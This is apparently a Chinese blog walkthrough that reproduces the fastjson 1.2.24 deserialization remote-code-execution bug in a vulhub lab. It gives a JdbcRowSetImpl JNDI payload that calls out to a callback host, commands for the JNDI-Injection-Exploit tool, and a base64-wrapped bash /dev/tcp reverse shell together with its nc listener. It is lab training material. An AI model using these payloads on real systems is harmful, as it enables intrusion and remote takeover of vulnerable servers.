fastjson 1.2.24 反序列化导致任意命令执行漏洞

文章目录

fastjson 1.2.24 反序列化导致任意命令执行漏洞1 在线漏洞解读:2 环境搭建2.1 启动:2.2 已启动:访问端口8090

3 影响版本:4 漏洞复现4.1 访问页面4.2 bp抓包,修改参数4.2.1使用bp进行抓包,转发repeater,将get请求转成post4.2.2 修改请求参数为json, 增加json参数进行传参,返回序列化后的参数值

5 使用插件检测漏洞【FastjsonScan】5.1使用説明5.2 使用方法5.2.1 右键菜单中:5.2.2 FastjsonScan扫描结果界面:5.2.3 打开dnslog解析地址,获取的地址粘贴到bp的请求参数中看是否请求成功5.2.4 使用rmi协议不通5.2.5 尝试使用ldap协议,dnslog协议通了5.2.6 dnslog.cn通了,可以请求成功,存在漏洞,下面对其进行利用

6 构建一个imr服务器6.1 java通信协议6.2 下载工具JNDI协议服务6.3 执行漏洞核心指令

7 kali进行下载安裝JNDI服务7.1 使用编译好的tar包,准备启动JNDI通信服务7.2 执行7.3 将下面请求依次放到bp--》漏洞请求参数中7.4 查看docker容器7.5 docker容器中成功创建文件test,命令执行成功

8 构建反弹shell8.1 反弹shell一句话8.2 使用在线工具转义8.3 开启监听8.4 重新启动 JNDI服务,并将开启shell连接一句话,放到 -C “command”中8.5 将扫描到的紫色标记连接地址-替换到下图红框中,进行转发8.6 经过多次尝试,获取连接到shell

1 在线漏洞解读:

https://vulhub.org/#/environments/fastjson/1.2.24-rce/

2 环境搭建

cd /home/kali/vulhub/fastjson/1.2.24-rce

2.1 启动:

sudo docker-compose up -d

sudo docker-compose ps -a

sudo docker ps -a

2.2 已启动:访问端口8090

3 影响版本:

​ fastjson 1.2.24

4 漏洞复现

4.1 访问页面

​ 访问页面http://192.168.225.166:8090/,返回json字符串

4.2 bp抓包,修改参数

4.2.1使用bp进行抓包,转发repeater,将get请求转成post

4.2.2 修改请求参数为json, 增加json参数进行传参,返回序列化后的参数值

{

"name":"test",

"age": 18

}

5 使用插件检测漏洞【FastjsonScan】

https://github.com/Maskhe/FastjsonScan

5.1使用説明

下载项目中的FastjsonScan.jar文件 在burp的Extender->Extensions栏,点击Add,选择下载好的jar文件就可以了(执行环境是Java)

如果成功安装,会输出如下信息,如果未能成功安装可以换下jdk版本??我用的1.8

5.2 使用方法

使用方法也很简单,就像使用repeater一样,你可以在burp的任何地方选中一个请求右键选择【Send to FastjsonScan】将这个请求发送到Fastjson Scan,然后就只需要等待扫描结束

5.2.1 右键菜单中:

5.2.2 FastjsonScan扫描结果界面:

{"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://weedjc37lvb2aq0bw6k08gkax13rrg.oastify.com/aaa","autoCommit":true}}

5.2.3 打开dnslog解析地址,获取的地址粘贴到bp的请求参数中看是否请求成功

http://dnslog.cn/ # 获取新的地址 5z5srb.dnslog.cn

5.2.4 使用rmi协议不通

5.2.5 尝试使用ldap协议,dnslog协议通了

5.2.6 dnslog.cn通了,可以请求成功,存在漏洞,下面对其进行利用

6 构建一个imr服务器

6.1 java通信协议

JNDI,Java Nameing and Directory Interface,Java 命令与目录接口,是一组应用程序接口,目的是为了方便查找远程或本地对象。JNDI 典型的应用场景是配置数据源,除此之外,JNDI 还可以访问现有的目录和服务,例如LDAP| RMI| CORBA| DNS| NDS| NIS

6.2 下载工具JNDI协议服务

https://github.com/welk1n/JNDI-Injection-Exploit

6.3 执行漏洞核心指令

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

要确保 1099、1389、8180端口可用,不被其他程序占用

7 kali进行下载安裝JNDI服务

┌──(kalikali)-[~/tools]

└─$ proxychains git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

7.1 使用编译好的tar包,准备启动JNDI通信服务

┌──(kalikali)-[~/tools/java-unserialize/JNDI-Injection-Exploit/target]

└─$ pwd

/home/kali/tools/java-unserialize/JNDI-Injection-Exploit/target

7.2 执行

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/test" -A "192.168.225.166"

7.3 将下面请求依次放到bp–》漏洞请求参数中

rmi://192.168.225.166:1099/jv0kge

rmi://192.168.225.166:1099/vqmpi8

ldap://192.168.225.166:1389/vqmpi8

rmi://192.168.225.166:1099/kdhm9b

ldap://192.168.225.166:1389/kdhm9b

7.4 查看docker容器

sudo docker ps -a

sudo docker exec -it 532 /bin/bash

7.5 docker容器中成功创建文件test,命令执行成功

8 构建反弹shell

8.1 反弹shell一句话

nc -lvvp 6666 # 开启监听6666端口服务

----------------------------------

bash -i >& /dev/tcp/192.168.225.166/6666 0>&1

----------------------------------

bash -i >& /dev/tcp/192.168.225.166/6666 0>&1 转成base64位:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx

----------------------------------

bash -c {echo,base64编码一句话shell}|{base64,-d}|{bash,-i}

--------------

最后组合为

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

----------------------------------

输入java指令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.225.166"

bash -i &> /dev/tcp/192.168.225.166/6666 0<&1 # 反弹交互指令tcp服务

nc -lvp 6666 # l是监听模式;v是显示详细信息;p是指定端口;

8.2 使用在线工具转义

8.3 开启监听

nc -lvvp 6666

8.4 重新启动 JNDI服务,并将开启shell连接一句话,放到 -C “command”中

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.225.166"

8.5 将扫描到的紫色标记连接地址-替换到下图红框中,进行转发

8.6 经过多次尝试,获取连接到shell

精彩内容

评论可见,请评论后查看内容,谢谢!!!
 您阅读本篇文章共花了: